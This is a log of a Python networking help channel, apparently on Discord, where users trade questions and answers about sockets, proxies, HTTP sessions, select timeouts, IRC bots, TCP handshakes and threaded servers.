@prisma cobalt it's a keyword in python used to call asynchronous functions (functions which are defined using the following syntax: async def .... Asynchronous code is a way to schedule tasks and overall make code run faster. #async-and-concurrency

orchid atlas
#

I want to take router diagnostics and paste them into something offline, text file or whatever, and apply a template that can create a data structure based on that output, parse through values of importance and tell me possible issues. What is the best tool for this? I'm reading TextFSM and Netmiko? Any suggestions on where to start? Thanks..

pale bear
#

can anyone help me with pysftp connection ? I'm getting a bad authentication error even after setting hostkey to none and providing host,user,password and private key

#

Im able to connect via WinSCP

ember ledge
#

Has anyone ever set up a server on python which can receive text messages? I started my own and im using import socket would this be recommended ?

gloomy root
#

Do you mean like actual LTE text messages

ember ledge
#

I dont know , im only learning . Like when you run the program in cmd you can receive text messages

#

what does LTE mean ?

rocky robin
ember ledge
clear glen
# lunar veldt how do i use proxy with authentication in requests?

in requests you have a parameter called proxies u can specifiy ur proxy there in a dictionary form ,
example :

import requests
mydict = {
"http":"localhost:8000"
"https":...
}
r = requests.post(url,data = {..},proxies=mydict)
print(r.text)

and you should be alright

rancid cosmos
#

im hoping someone could help me configure my nginx server to work with socketio

#

ive looked at the flask socketio docs and there's a section for configuring the server

#

however usually config files are project specific so I want to make sure there are no issues

ember ledge
#

maybe the wrong channel, but can someone explain the difference between a bitcoin transaction and routing money to someone through ACH https://en.wikipedia.org/wiki/Automated_clearing_house

An automated clearing house (ACH) is a computer-based electronic network for processing transactions, usually domestic low value payments, between participating financial institutions. It may support both credit transfers and direct debits. The ACH system is designed to process batches of payments containing numerous transactions and charges fee...

#

or like idk

#

paypal

#

or zell

#

or apple pay

#

I know zell/paypal/apple pay are like user sending bank account -> zell/paypal/apple server -> user receiving bank account kind of whereas bitcoin has no servers

#

but idk why is that significant

#

why does p2p change monies

storm saffron
#

well bitcoin doesn't rely on anyone to be authoritative

#

with the ACH or paypal/payment provider model

#

you completely and utterly trust paypal to take your money and tell the merchant that you paid

ember ledge
#

I have a question about socket. Could it be possible to connect to a socket with some proxies (so you don't reveal your real ip)? And if it's possible how can I do that?

#

@storm saffron

#

so, I understand that bitcoin miners solve cryptographic puzzles on blocks so they can get the hash value it returns

#

and this is supposed to verify the data in that block and move it forward in the network, so the bitcoin network is more secure

#

but why does the hash value

#

verify anything?

#

why does it show that the data wasn't edited?

storm saffron
#

so the 'doing work' part is that you have a problem which is difficult to solve but once you've solved it it's easy to verify

#

for example if I ask 'what's the square root of 1211944969'

#

that's a much harder problem than 'what's 34813 squared'

ember ledge
#

like it is easy to do in reverse but not forward or?

storm saffron
#

yeah

ember ledge
#

or harder to do in reverse

storm saffron
#

so you can easily verify that 34813 is the correct answer, but it's much harder to do the calculation in the first place

#

well whatever the hard part is, the reverse is much easier

#

square rooting is just a nice example of a problem like that

ember ledge
#

so it is harder to get the hash from the encryption than it is to get the encryption from the hash?

#

and the nodes after the miner nodes

#

like just

#

do it in reverse to know the miner was correct

#

do the miner's work in reverse

storm saffron
#

well they use the miner's answer to verify that the work was done correctly

ember ledge
#

why does its answer verify that

#

sorry lmao

storm saffron
#

well take the square rooting example

#

if i give you the task of calculating the square root of 1211944969

ember ledge
#

yeah they square the square root it to be sure it is the square root

storm saffron
#

it's much easier for me to check your answer by squaring your answer and comparing it to 1211944969 than it is to do the square root myself

#

yeah so another cryptographic example is prime factors

#

rather than square roots

#

if i say 'what two prime numbers multiply to give 1373993'

#

that's really quite difficult compared to just multiplying two numbers

#

and you would take a very long time trying to solve it

ember ledge
#

but doesnt that only verify that the hash came from the encrypted block? how do they know the block wasnt just changed

#

i have read that the hashes kind of build on eachother

#

like they are

#

hashes of hashes of hashes and so on

#

is that true

#

or no

storm saffron
#

i don't know about the actual maths involved

#

but if you're trying to verify that a transaction was legitimate then there's a similar technique of asymmetric encryption

#

where you generate a secret private key and a public key

#

then you can sign transactions with the private key and anyone with the public key can verify that they were signed by you

#

but they can't sign a transaction with the public key themselves

prisma cobalt
silent geyser
#

Anyone know what library/concept I should learn to have a Python script login to a website so I can use BeautifulSoup on pages on that site? The pages are only available if the person is logged in

ember ledge
#

@silent geyser

use requests.Session()

using a session will store your cookies and headers.

so if you login to a website using a post request it will keep the cookie for the next request

snippet:

import requests

session = requests.Session()

login_url = "https://example.com/login"

session.post(login_url, data={'username': 'testusername', 'password': 'testpassword')


# it will be authorized for this request
session.get('https://example.com/data')
silent geyser
#

Nice, thanks

ember ledge
#

Im using import socket to create a sever on python , I got the code from a youtube video and im trying to run it on my cmd. What I dont understand is I use a certain port number and I got the error sock.bind(('0.0.0.0', 10000))OSError: [WinError 10048] Only one usage of each socket address (protocol/network address/port) is normally permitted . Also when I connect to a sever and I try to do telnet , I seem to be stuck in a infinite loop. Then I close the cmd , does this leave the server unclosed or something ? Could someone try explain to me what im doing wrong

narrow oak
#

It creates a .db file, or .sqlite, don't remember, but it's not stored only in memory, it uses the harddrive as well. Also incorrect channel #databases

ember ledge
#

so, i'm making a mac changer for linux in python to change the eth0 mac address but everytime i run the code the mac address changes but the network stops working until i restart the vm ifconfig eth0 down
ifconfig eth0 hw (the mac address goes here)
ifconfig eth0 up

slender steeple
#

@ember ledge you can't have 2 servers running on the same port

#

a quick way is to just kill every python process

#

taskkill /f /t /im python.exe

graceful shadow
#

Can I ask a question or @ember ledge is not yet done with his/her question?

storm saffron
#

eh you can probably ask @graceful shadow

ember ledge
#

help me ls

#

pls

storm saffron
#

well changing your mac address is quite likely to break things

#

also depends if your hardware actually supports it

#

i imagine if it doesn't then you'll be completely unable to receive packets

#

oh wait vm

ember ledge
#

yeah

ember ledge
#

You know how a video game connects two people together? Like a 1v1, how does that work? And is there away to intercept it and join a certain person? Like if u had a game and u wanted to play your self or a friend, and u had permission.

narrow oak
#

That's networking, yes. The most common thing used in game networking is sockets, perhaps the UDP protocol but TCP is also common for connections where reliability is important. There are some resources in the pinned msg if u want to learn more about networking, or sockets.

#

The server controls the joining part most likely, if you're going for client server architecture.

light zealot
#

Why my client.py file returns an error saying [WinError 10061] No connection could be made because the target machine actively refused it.

lunar pasture
light zealot
lunar pasture
light zealot
#

πŸ˜•

mint barn
#

hi

narrow oak
serene halo
#

hello i am sending request with python socket with range header

#

range:bytes=0-1761689

#

but when i check len of data

#

it sent only 1755136 bytes in the end

#

can someone explain why this is happening

clear bobcat
#

Code example please πŸ™‚

serene halo
#

1 min

clear bobcat
#

πŸ†—

serene halo
#
from select import select
import socket, ssl

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("r7---sn-ci5gup-civl.googlevideo.com", 443))

sock = ssl.create_default_context().wrap_socket(sock, server_hostname="r7---sn-ci5gup-civl.googlevideo.com")
sd=b'GET /videoplayback?expire=1606172859&ei=W-y7X5rNN4KA3LUPjNODqAw&ip=182.70.207.120&id=o-ALAW3XS-F5NkXG6hCCy8sz_ZLO3BR-Y4lqICYvUj0uLn&itag=249&source=youtube&requiressl=yes&mh=Qj&mm=31%2C29&mn=sn-ci5gup-civl%2Csn-ci5gup-cvh6&ms=au%2Crdu&mv=m&mvi=9&pl=20&initcwndbps=686250&vprv=1&mime=audio%2Fwebm&ns=H6abwGooMAuxasdpeqYu78sF&gir=yes&clen=1761689&dur=238.401&lmt=1575000085199158&mt=1606151093&fvip=1&keepalive=yes&c=WEB&txp=5531432&n=qSbCGd9G8NAVxsW&sparams=expire%2Cei%2Cip%2Cid%2Citag%2Csource%2Crequiressl%2Cvprv%2Cmime%2Cns%2Cgir%2Cclen%2Cdur%2Clmt&lsparams=mh%2Cmm%2Cmn%2Cms%2Cmv%2Cmvi%2Cpl%2Cinitcwndbps&lsig=AG3C_xAwRQIgYbzK1flaQqHf4cHMdBtSPi43MhFlFXc-TXfzW8RnjAYCIQC2-FdQgAOMj7a6JVsJd_GPbCgVQmf0xUVk9apJtk-DPQ%3D%3D&sig=AOq0QJ8wRAIgPjGwQ2-ogiOqoJLZuJKsySOBxNhWXioN97fjsA_d0VYCIFYgsJfDorOPs7wqBloXc-PQNw4ktg4nJxfb_d-aBA5T&ir=1&rr=12 HTTP/1.1\r\nhost: r7---sn-ci5gup-civl.googlevideo.com\r\nuser-agent: MayankFawkes/bot\r\nconnection: close\r\nrange:bytes=0-1761689\r\n\r\n'
sock.send(sd)
header, data = sock.recv(2048).split(b"\r\n\r\n")
while True:
    s = select([sock],[],[],5)[0]
    if sock in s:
        d = sock.recv(2048)
        if not d:break
        data+=d
    else:break

print(len(data))
#

@clear bobcat

clear bobcat
serene halo
#

Content-Range is server like means server will response with Content-Range header

#

and yes i didnt add Content-Length becuase there is no data or payload in my requests just simple get request

clear bobcat
#

Maybe I missed something - as far as I understand Range: bytes=0-x header informs server that I want bytes from index 0 to index x so if server returns less than x it means to me that there is less data than I think

#

So what is the point?

serene halo
#

so you mean server has only 1755136 bytes and when i am calling 1761689

clear bobcat
#

Just try to get range 0-1023 and check value of Content-Range header

#

Content-Range should contain information about whole document size

serene halo
#

@clear bobcat yes when i am using 0-100

#

its returning perfect bytes

#

but when i started asking for large

#

like 200kb

#

it stoped

#

and sending incomplete data

#

wanna check my response header ?

clear bobcat
#

You can paste it here

serene halo
clear bobcat
#

So maybe server has some kind of protection againts large chunks?

serene halo
#

it says hey man we are sending Content-Range: bytes 0-440320/1761689 this data

#

but check the len(data)

#

its only 428032

#

12288 bytes clearly missing

#

but when i am making the same request with burp its actully returning the correct data and same length

#

me be something wrong in my code

#

i want joe here but dont wanna be anonying by tagging him

#

😩

clear bobcat
#

Maybe it's a stupid question (because I am not master of headers and so on) but Content-Length includes header information?

#

How about len(header) + len(data)?

serene halo
#

yes i got your point but no

#

Content-Length only includes the data/payload attached to it

clear bobcat
#

Oh okay... So the only place that there is something wrong is receiving and joining data together

serene halo
#

i found it now

#

its in the select

#

look when i am using high chunk size i actully got a lot data

#

but also when i removed

clear bobcat
#

Yay, nice

serene halo
#

when i removed select it actully gave me the actully correct bytes lol

clear bobcat
#

I didn't like this select from the start but I never used it

#

Feeling like a nice rubber duck ducky_dave

serene halo
#

select is IO and it helps in breaking in code when there is no data

#

like now i code is not end and still waiting for

#

recv

#

120s for this

#

this is why i was using select to break when server stoped sending the data

#

any idea how i can break ?

clear bobcat
#

Idk. Maybe some timer?

serene halo
#

Mhmmm this

clear bobcat
#

And use chunk size as power of 2

serene halo
#

yes now i am using

#

1024*5

#

still stuck

#

its not sending the null byte in the end

#

this is why

clear bobcat
#

What null byte? It shouldn't because whole document has 1761689 bytes length

serene halo
#

yes but server already return b""

#

in the end

#

this is google's server kinda complicated lol

#

@clear bobcat

#

wait until ready for reading

#

and there is timeout in the end

#

tbh this is looking a bug in python

#

rofl

clear bobcat
#

select.select return tuple of three lists

#

Your condition is x in y where y is tuple

serene halo
#

yes i know its returns the tuple

clear bobcat
#
file = open("somefile", "rb")
print(select.select([file], [], [], 1.0))  # returns ([<_io.BufferedReader name='somefile'>], [], [])
serene halo
#

s = select([sock],[],[],5)[0]

clear bobcat
#

Oh

#

Sorry

#

It's late for me lol

serene halo
#

late ?

#

you mean about to go to bed ?

#

alright bro

clear bobcat
#

No, I mean that I skipped this [0] because I am tired after job πŸ˜‰

#

Idk what is the problem here, maybe this is really bug

serene halo
#

yeah

#

πŸ˜†

#

or may be we are really bad with select thing

clear bobcat
#

Maybe - that is the point why I am not using it lol

#

I have time to wait

gloomy root
serene halo
#

yeah alright bro thanks for your help i guess i should use settimeout instead of select lol

#

πŸ€ͺ

#

@gloomy root are you good with select

#

?

gloomy root
#

Ive only used it when routing through and recreating asyncio's selector event loop

serene halo
#

alright then

#

πŸ€”

#

if someone read this message today or tomorrow and also good with select please tag me

gloomy root
#

honestly for what you're doing id recommend using asyncio for this

#

and using something like asyncio's protocol system rather than manually implementing the selector system

#

because although asyncio is complicated its not as complicated as managing selectors directly

serene halo
#

in here i cant use asyncio

gloomy root
#

how come

serene halo
#

check my code

gloomy root
#

what about it

#

its like 10 lines

#

just rewrite it

#

the protocol system will make it cleaner overall anyway

wide nest
#

Is there a place to get 1 on 1 tutor for anisble/python?

hallow rampart
#

How do you send to all sockets using threading ;_;

pastel harbor
#

Hey anyone free to help?

dusk sparrow
#

Hello , Im hosting a service on a cloud instance ( kubernetes cluster to be specific) , so I give an image to my cloud host and he does the hosting , so now I want to have multiple instances of the service ( multiple containers). is there some way I can increase the number of containers that I need for the service?

clear bobcat
rose mirage
#

Okay so I'm new to networking and I've been trying to make a chat app in python, using socket. The code I'm about to show is supposed to start a server and wait for connections. The problem is whenever I try to connect from the other PC I get this error:
[WinError 10060] A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond
The server is hosted locally on the first pc, linux ubuntu 20, and I'm trying to connect from a windows 10 PC.
server.py

import socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) port = 8080 sock.bind(("ADDRESS THAT I GOT FROM IFCONFIG", port)) sock.listen(1) print("Waiting for connections... ") conn, addr = sock.accept() print(f"New connection: {addr}") 

client.py

import socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) host = input("Ip...") port = int(input("Port...")) sock.connect((host, port)) print("Connected!") 

To get the address I just typed ifconfig and copied the inet ip (it's not 127.0.0.1, but i'm pretty sure i'm not supposed to show it)

pastel harbor
serene halo
#

hey guys i made a multi connection downloader with sockets is anyone have time please review and give me suggestions

#

@rose mirage hey your code seems quite good whats wrong with it ?

#

that error is because you running client before starting the server

rose mirage
#

oh you think so? i am pretty sure i ran the server first then the client

serene halo
#

it says server didnt respond in time

#

it means server is not running ofc

#

or in client you are using different port

narrow oak
#

are you using the server's public IP ?

serene halo
#

that would be the possible reasons

narrow oak
#

you might need to port forward, in that case

serene halo
#

i guess he is using local ip

#

127.0.0.1 or ip given by roughter

#

@rose mirage sorry for this ping but kernel closes the socket when there is no packet flow

#

there is timeout after 120s

rose mirage
#

oh i see, i'll keep that in mind

serene halo
serene halo
pastel harbor
# serene halo yes just ask
if os.path.exists(file_path):
                        read_end, write_end = os.pipe()
                        pid = os.fork()
                        #print("yes")
                        if pid != 0 :
                            #os.environ["HTTP_ACCEPT"] = " html/text"
                            os.close(write_end)
                            os.wait()
                            read_opened = os.fdopen(read_end)
                            inp = read_opened.read()
                            # os.close(r)
                            #print(inp)
                            #os.environ["HTTP_ACCEPT"] = " html/text"
                            x = file_open()
                            if "Content-Type" not in inp:
                                x+= "Content-Type:" + os.environ["HTTP_ACCEPT"] + "\n\n"
                            else:
                                x+= inp

                            clientsocket.send(x.encode())
                            clientsocket.close()
                                #print("yes1")
                        else:
                            #print("yes2")

                            os.close(read_end)
                            os.dup2(write_end, 1)
                            os.execl("/bin/python3", "python3" , request[1].split("/")[2].rstrip())
                            write_opened = os.fdopen(write_end, 'w')
#

need to run cgibin using web browser but the code above doesn't work for some reason

placid tree
#

I am connected to an openvpn server. This network doesn't route my requests to outside world, I am only able to talk to the machines that are on the vpn network(this is what I intend to do, I am not having a problem). What is the difference between this vpn server and other typical vpn servers that route my data packets in technical perspective?

Is it just configuration or something to do with osi layers?

serene halo
pastel harbor
#

oh ok

sharp pagoda
#

Hlo

#

i am a bignner

#

i have a quastion

#

about IEEE 802.11 Networking tecnology

#

how many parts are there in IEEE 802.11

#

just like a, b, c,

#

how many are ther , which one is the fastest in that

clear bobcat
errant bayBOT
#

4. This is an English-speaking server, so please speak English to the best of your ability.

slender steeple
#

:thonk:

remote arch
#

Hi, I'm creating a site with a use of Python. I'd like to know how to connect HTML and Python. I need to add some conditions to my page, but can't do it. I simply don't know how...

#

May anyone help me?

flat ermine
#

@remote arch Django and Flask are 2 widely used Frameworks that help building a website with Python

remote arch
#

I've started writing without them(

#

And now it's too hard to add them...

flat ermine
#

it will become harder and harder to migrate later

#

and Django comes with Security packages as well, allowing for Passwords to be hashed etc. (dunno how Flask handles that)

remote arch
#

Thank you very much, now I know what to do

ember ledge
#

Hello people!

#

I'm trying to send files to a server.

        l = f.read(1024)

        while (l):
            client.send(l)
            l = f.read(1024)
        client.shutdown(socket.SHUT_WR)
#

It's working, but that last line client.shutdown ends the connection and nothing work anymore.

#

And if I remove that line. I am unable to do anything else, because the server doesn't know when the files ends.

#

I am thinking about sending the size of the file before starting sending the file.

#

but I know don't how I will able to detect that in the server.

#
                f = open(data[1], 'wb')

                l = conn.recv(1024)

                while (l):
                    f.write(l)
                    l = conn.recv(1024)
#

That's my code for receving the file.

#

Just a simple loop.

#

Any idea how can I make that while loop thru the file size?

storm saffron
#

you can add a timeout to the recv calls

#

then it will stop once it has to wait more than, say, 1s for some data

distant pilot
#

what does conn.recv do

ember ledge
#

It receives what client.send() senbd.

clear glen
#

hi everyone,
I wanna ask for example if I create a chat app with kivy , then If I wanna send a message to person B ( I'm person A) , and I want to target him specifically , we assume that I have a person C and D and F and .... , how can I target each of them when sending a message so the message I send get to only the person I sent to ?

clear glen
#

anyone with a response please ?

narrow oak
# clear glen hi everyone, I wanna ask for example if I create a chat app with kivy , then If ...

Well, this implementation should go in the server's side. For instance, client sends to server a http request, the data could be {"content" ..., "target" ...} Then when the server receives, he sends the content to target if he's online, otherwise it can get a bit complicated and you might want to add a database system. But if you just want something simple then you can do it this way.

clear bobcat
#

I am creating web server which has two different endpoints - let say port 8080 and port 9090. Clients connected to port 9090 must use SSL client certificates, clients on 8080 not.
I am using Flask currently but I can change framework ofc.
Do I need to create two Flask (or any other) instances or there is method to create two different endpoints within one application?

storm saffron
#

How are you serving it

#

Can probably get the wsgi interface to do that for you

gloomy root
#

flask is a wsgi framework anyway but okay

storm saffron
#

I mean the outer bit

#

Gateway

#

Frozen brain notlikemeow

gloomy root
#

if you wanna do it that way just setup Gunicorn with two sockets one for each port and set their ssl accordingly

clear bobcat
gloomy root
#

you need a python webserver to run a python application

#

you can use nginx as a reverse proxy and do the ssl that way

clear bobcat
#

I know, I am using Flask now

gloomy root
#

however you still need the two seperate sockets

clear bobcat
#

Okay, I am going to check Gunicorn, thank you for response πŸ™‚

patent swift
#

hello can someone help me with sockets?

distant pilot
#

conn.send("Welcome to this chatroom!")
TypeError: a bytes-like object is required, not 'str'

narrow oak
#

.send takes bytes, not string

#

So either add a b before the quotes or encode it to utf-8

distant pilot
#

thx

patent swift
#

how do I receive data from server using select function?

wicked pagoda
#

I'm working in a pretty locked down environment. I'm trying to write a script that interacts with a RESTful API but I only have Python 2.6.6 available and I do not have the "requests" module/library. I cannot install anything. What are some other methods I could use to make GET requests in Python?

gloomy root
#

Urlib

#

But you are gonna have a pretty un fun time with python 2

wicked pagoda
#

Yo right now I'm parsing JSON in bash

#

I am straight-up not having a Baja Blast

sacred perch
#

Hi, how to avoid pika.exceptions.NoFreeChannels?

#

From a uploader images service, I send a list of images each one in a message broker
to a resizer images service, which receive message, process it and upload the processed image to the cloud server
Currently I publish the processed image without close the connection
I read the max_channels in pika is 2047 channels
I would like to send from uploader service, 6 images and received them in resizer service, and when it the number is completed, close the connection and later open again to receive the other packages of images
In that way, I'll never have the max_channels busy
Or do you think are there other better ways to solve this?

wintry coyote
gloomy root
#

you know thats python 2 and massively out dated right

wintry coyote
#

It is? Oops, what would be the Python 3 alternative?

#

I'm currently trying to make a bi directional tcp server which is controllable via a flask server, does anyone have a rough idea how I should approach this?

#

I'm currently running the tcp server in a thread but i'm having problems controlling the client socket from the main thread (eg. from inside a flask route)

slender steeple
#

although this is sync only

ember ledge
#

Not sure if this is the right channel but could someone explain the root behind a 500 internal server error

exotic solar
#

Why is a tcp connection called a three way handshake?

#

I see that the two connect with each, and then continuously send data back and forth to each other. Are those three steps the ones which make up the threeway hand shake

slender steeple
#

so you have 2 computers x and y
and to connect, they first have to do the following:

#
  1. X sends syn packet to y
#

2.y sends syn/ack back to x

#

3.x sends ack to y

#

that's the handshake

#

and this is needed to SYNchronize sequence numbers and to ACKnowledge them

#

@exotic solar

empty rune
#

Someyhing that maybe usefull for networking is tuples which are effictively read-only arrays

odd hull
#

Need help with xmr mining pools and creating the software for it. I am paying for help HMU

winged cave
#

what do you need help with ?

ember ledge
#

Has anyone ever used telnet and encountered the issue when typing input in the command line , the text duplicates . E.g hello world -> hheelllloo wwoorrlldd

exotic solar
#

Thank you @slender steepleThat makes more sense now

night maple
somber locust
#

Hi

#

Can anyone tell me how do I connect 3 pc's to a host in python?

#

Host is also a pc

faint hemlock
#

Here ya go @somber locust

somber locust
#

Thanks

#

Asked and couldn't find it back

faint hemlock
#

do you know the ctrl + k command for the discord client?

#

it will change your life

somber locust
#

Thanks

#

Will try it out

#

I'm on my phone rn

faint hemlock
#

android? if you swipe left there's a magnifying glass and you can search for channel names

somber locust
#

Thanks again

snow tulip
#

@sage stump you need to pass in your commands as bytes

#

you might want to look into tutorials for how to make an IRC bot in python

sage stump
#

yeah but how i can send data to a bot ?

#

yeah but i didnt find a clear tutorial

snow tulip
#

well a bot is just an IRC user, right?

sage stump
#

yeah

snow tulip
#

so you could send it messages through PRIVMSG

sage stump
#

i have to send a message to him and receive his answer

#

ok so irc.send('PRIVMSG ...') ?

#

irc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

snow tulip
#

it's in the RFC for IRC

sage stump
#

and how i can receive his message ?

snow tulip
#

i mean, the bot just PRIVMSG's you back

#

once it's received the PRIVMSG you send it

#

then you receive that?

sage stump
snow tulip
#

ahhh, i don't want to give you too much help then as it's a challenge

#

but you're on the right lines with irc.send('PRIVMSG etc

#

if you ctrl+f on that document and look for PRIVMSG you'll find an example of how to send the data

sage stump
#

ok thank you bisk !

snow tulip
#

as a general helper, the method looks something like PRIVMSG <nickname> :<msg>

#

obviously to receive you'll want to use the .recv method for your irc variable

sage stump
#

ok so i do : print(irc.recv(1024)) ?

snow tulip
#

remember it'll come through as encoded bytes

#

so you'll have to probably do something to decode it

#

:3

sage stump
#

ok

snow tulip
#

i think i've given you enough info now to solve the problem

sage stump
#

yeah thank you so much

snow tulip
#

no problem. :)

#

i grew up on irc and have made a few bots Β¬_Β¬

ember ledge
#

hello i have a question

#

how do you capture a packet to prevent the receiver to receive it?

#

like how do they filter packets

#

Im working on a script that will tell me when specific Mac addresses connect to my AP, I want to eventually get message notifications when certain MACs connect to my AP, right now all I have is a continually updating list of MACs that are connected and a dictionary with known addresses tagged with names, I want to be able to compare the list with the dictionary items. Not sure how to do that.

#

Is there anyone who would be willing to help me?

#

you want to compare lists?

#

A list with items in a dictionary

#

Keys

#

so you want to compare 2?

#

I want to know if there is any MACs that are in the list that are in the dictionary

#

you could try for data in list1: if data in list2: results.append(data)

#

Hmm

ember ledge
#

I

fiery nebula
#

Guys

#

anyone have idea of beautiful soup?

slender steeple
#

@fiery nebula wrong channel

nimble zephyr
#

how do i make my ethernet faster

opaque gyro
#

any1 knows how to fetch info from a valve server?

ember ledge
#

hey everyone, I'm working on my bachelor thesis in mechanical engineering and I could use some help with a networking feature that I need to implement. Basically I need to continuously send numpy arrays back and forth between two systems, and I want it to be as fast as possible. I'm looking into using python's built in socket module for this, but I'm in over my head on this. Can anyone tell me if I'm going in the right direction?

hexed moat
#

@ember ledge yes the socket module seems right for this job, I'd say look into the documentation on the library

ember ledge
#

great, thanks. Looking into the realpython.com tutorial right now, seems to go over most of the basics

hexed moat
#

also regarding the speed, I'd say for your project, its more hardware dependent

ember ledge
#

you mean it's limited by the network itself?

hexed moat
#

yes

#

im sure for your project you can just say for practical use i had to use x hardware but you can maximize speeds with y hardware

ember ledge
#

yeah it's gonna be judged by mechanical engineers, I doubt they are gonna give me grief for this haha

#

and it's not under my control anyway, I've got to send data over a campus-wide network, maybe even a VPN

#

while I've got you, am I right in saying that something like http doesn't make any sense for this? for semi-continuous data transfer I mean

#

right now I'm planning on using a small custom data protocol to send python objects back and forth, but any standard components I could use instead of this would help a lot

ember ledge
#

I'm running into some issues connecting a python socket to a windows server. The connection is not established, and after a while the client socket times out. The server is reachable with ping, connection is good in general. Does anyone have an idea what's going on?

thorny crypt
#

if possible, have you seen if the port is enabled on the firewall on the server?

ember ledge
#

I don't have admin rights myself, but I've checked the list of applications that are allowed to penetrate the firewall, and python.exe is not one of them

#

I'm curious though, why did you ask about a specific port being enabled? You can only give access to applications right?

pearl anchor
#

hey guys, what are sockets

velvet rapids
#

Low level networking interfaces

fossil lynx
#

When I use requests.post to send information to webhook, can I use proxy?

narrow oak
sacred trench
#

Hello. So I have hosted my first minecraft server and I gave my ip with port so people can join. Are there any chance others can ddos or hack my pc in such case? If yes can you specify how. I wanna try it on my own pc on a separate pc. Can you please ping me here? Much appreciated

#

Pls ping me if you have figured that out

clear bobcat
sacred trench
#

True tho

#

Sorry

bold summit
#

so any one got any docs or vids on sending info thought wifi say from one drone to athouther just dm me please

fossil lynx
#

"https": "http://xx:xx@xx:xx"

#

@narrow oak Is the https format officially correct?

#

or this "https": "https://xx:xx@xx:xx"

narrow oak
#

its just {"https": "ip:proxy"}

fossil lynx
#

My proxy is account and password @narrow oak

ember ledge
#

I'm having some issues deciding how to create a server that handles long lasting connections and has CPU bound requests

#

I need to have one process available per connection, and the process will stay alive while the connection is alive

#

so far I haven't been able to find a library that handles this sort of situation out of the box, am I missing something?

narrow oak
#

you can try the threading module to create a new thread for each of your clients

ember ledge
#

What IP do I use to connect my socket with a different device on a different network, my router Ip?

#

So using a server from the socketserver library, with a threading mixin?

#

would the threading mixin allow spawning processes without issues?

storm saffron
#

@ember ledge yes, a device connecting to your computer from outside will need to use your router's public ip address

#

and you'll need to port forward

narrow oak
ember ledge
#

I'm actually thinking of using the socket library, I'm not super comfortable with it yet, but at least I wouldn't have to learn about all of the classes that come with socketserver right now

narrow oak
#

yeah, personally, I think that using the sockets library is just much easier with creating a simple server or client system.

ember ledge
#

yeah my application is definitely simple

#

I was just hoping there would be some library out there that would help me out with a custom application layer protocol

#

maybe something with basic functionality for parsing protoheaders and headers, but I guess once you're doing that sort of stuff you might as well start from scratch

#

anyway, I do have one more question for you if you don't mind, since you said you have some experience with threads and sockets. would you pass the client socket that you get from the listening socket to threads, or would you go about it differently?

narrow oak
#

yeah, when you accept a connection you get the client object. You would then most likely have a function like def handleClient or something which accepts the client as argument which would be the client object. You call this function as a thread so it runs 'concurrently' with all other threads and all your code for that client would go inside that function. Obviously, you can do it differently than this, you can use classes or a more object oriented approach but this was just an example. Also note that when a client disconnects it raises an exception so make sure to do some exception handling inside that function as well.

#

and with the threading module its literally just threading.Thread(target=handleClient, args=(client,)).start(), and you're good.

ember ledge
#

great, thank you so much

#

then I'll make the handleClient function instantiate the Process and then it should be smooth sailing from there

narrow oak
#

yeah, that's basically it. Good luck.

ember ledge
#

thanks πŸ™‚

upbeat forge
#

Could someone help me set up SSL on a socket.socket object?

civic wyvern
#

Somebody knows if sending data to the same connection from different threads could cause problems?

hoary sorrel
civic wyvern
#

@hoary sorrel ok thanks!

rugged lake
#

how do i get a image from a link using aiohttp?

#

ping me

ember ledge
#

guys what is bbc in networikingasa

dapper quest
#

I am getting 500 internal server error while deploying my flask app to heroku can anyone help

civic wyvern
#

I get this error when receiving a yaml.dump() byte string via a socket. The yaml content is: ('update',{dict})

    node = self.compose_node(None, None)
  File "/home/pi/.local/lib/python3.7/site-packages/yaml/composer.py", line 82, in compose_node
    node = self.compose_sequence_node(anchor)
  File "/home/pi/.local/lib/python3.7/site-packages/yaml/composer.py", line 110, in compose_sequence_node
    while not self.check_event(SequenceEndEvent):
  File "/home/pi/.local/lib/python3.7/site-packages/yaml/parser.py", line 98, in check_event
    self.current_event = self.state()
  File "/home/pi/.local/lib/python3.7/site-packages/yaml/parser.py", line 382, in parse_block_sequence_entry
    if self.check_token(BlockEntryToken):
  File "/home/pi/.local/lib/python3.7/site-packages/yaml/scanner.py", line 116, in check_token
    self.fetch_more_tokens()
  File "/home/pi/.local/lib/python3.7/site-packages/yaml/scanner.py", line 162, in fetch_more_tokens
    self.stale_possible_simple_keys()
  File "/home/pi/.local/lib/python3.7/site-packages/yaml/scanner.py", line 292, in stale_possible_simple_keys
    "could not find expected ':'", self.get_mark())
yaml.scanner.ScannerError: while scanning a simple key
  in "<byte string>", line 5, column 1:
    !!python/tuple
    ^
could not find expected ':'
  in "<byte string>", line 6, column 1:
    - update
    ^

storm saffron
#

that's not yaml

#

that's json

#

that's not even json actually

civic wyvern
#

It's yaml

storm saffron
#

are you sure

#

i don't think yaml can do that

civic wyvern
#

Error seems to be occuring when calling yaml.load(<byte string>)

storm saffron
#

but that isn't yaml

#

('update',{dict}) isn't valid yaml

civic wyvern
#

ahnnn, so yaml can only take dicts?

#

yaml.dump() to be specific

storm saffron
#

wait but this error is when yaml decoding

#

right?

#

did you get ('update',{dict}) from yaml.dump

civic wyvern
#

no, I first do at the client side: ```py
str.encode(yaml.dump(('update',{dict})))

#

and when received at server end:

content = connection.recv(1024)
dic = yaml.load(content)
#

error is thrown on yaml.load(content)

#

@storm saffron Am I doing something stupid?

#

I seem to be finding online that PYYaml only can do dicts by default

storm saffron
#

i really don't understand why pyyaml is producing that yaml from your input

#

seems like it's completely invalid

#

is it maybe converting "update" and {dict} seperately or something

civic wyvern
#

I will try making a dict from the tuple

ember ledge
#

Good morning. I have had a question about the socket module for a long time.

Imagine that I have a server and a client and the server executes actions towards the client, but if I have multiple connections the server executes the action on all clients. How could I specify the client on the server to execute the option?

#

I would appreciate the help.

narrow oak
# ember ledge Good morning. I have had a question about the socket module for a long time. Im...

You'd most likely store all clients in some data type, perhaps a dictionary or list depending on how you want it represented and how you want to later refer to each client. Alternatively, if you want the same code to be run on all clients then you can use the threading module to create a new thread for each incoming client and then call that thread to a function which does the handling, but it really depends on what you want to do with the client.

ember ledge
#

@narrow oak First, thanks for responding. But reading the first option I understand that I will save an identifier in the dictionary or list, but how do I refer to it?

narrow oak
#

